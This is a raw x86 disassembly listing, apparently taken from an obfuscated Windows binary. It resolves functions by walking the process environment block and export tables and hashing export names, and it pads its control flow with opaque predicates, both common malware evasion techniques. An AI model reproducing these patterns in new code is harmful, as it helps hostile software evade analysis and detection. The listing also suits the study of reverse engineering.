add eax, dword [ecx + edx*4]
mov dword [esi + 0x88], 0
push dword [esi + 0x24]
call eax
mov eax, dword [0x40f544]
mov edx, dword [0x40f540]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov dword [esi + 0x14], edx
cmp edx, 0xa
jl 0x406897
test ecx, ecx
je 0x406897
jmp 0x406895
cmp dword [esi + 0x14], 0xa
jl 0x4068a3
test ecx, ecx
je 0x4068a3
jmp 0x4068a1
cmp dword [esi + 0x28], 0
je 0x406972
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov dword [esi + 0x14], eax
mov eax, dword [eax + 0x18]
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + ecx + 0x78]
mov ecx, edx
mov dword [esi + 0x18], edx
test edx, edx
je 0x4068bc
mov ecx, dword [esi + 0x18]
mov edi, dword [eax + ecx + 0x18]
test edi, edi
je 0x4068bc
mov ecx, dword [esi + 0x18]
mov ecx, dword [eax + ecx + 0x20]
add ecx, eax
mov dword [esi + 0xc], ecx
lea ecx, [eax + 1]
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + edi*4 - 4]
dec edi
mov cl, byte [eax + edx]
test cl, cl
je 0x406925
add edx, dword [esi + 0x10]
mov ebx, 0x7c65849c
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x40690b
cmp ebx, 0xe69ec8f9
je 0x40692b
test edi, edi
jne 0x4068f4
jmp 0x4068bc
mov edx, dword [esi + 0x18]
mov ecx, dword [eax + edx + 0x1c]
add ecx, eax
mov edx, dword [eax + edx + 0x24]
add edx, eax
movzx edx, word [edx + edi*2]
add eax, dword [ecx + edx*4]
mov dword [esi + 0x88], 0
push dword [esi + 0x28]
call eax
mov eax, dword [0x40f544]
mov edx, dword [0x40f540]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
mov dword [esi + 0x14], edx
cmp edx, 0xa
jl 0x406972
test ecx, ecx
je 0x406972
jmp 0x406970
cmp dword [esi + 0x14], 0xa
jl 0x40697e
test ecx, ecx
je 0x40697e
jmp 0x40697c
lea eax, [ebp + 8]
mov eax, dword [eax + 0x14]
cmp eax, 0x10
jb 0x406998
inc eax
push eax
lea eax, [ebp + 8]
push dword [eax]
call fcn.004035ea
add esp, 8
lea eax, [ebp + 8]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [0x40f540], 0xa
jl 0x4069e8
mov eax, dword [0x40f544]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x4069e8
lea eax, [ebp + 8]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [esi + 0x20]
mov al, byte [eax]
mov dword [esi + 0x1c], eax
mov eax, 0xf
jmp 0x406984
cmp byte [esi + 0x1c], 0
setne al
mov ecx, dword [esi + 0x80]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret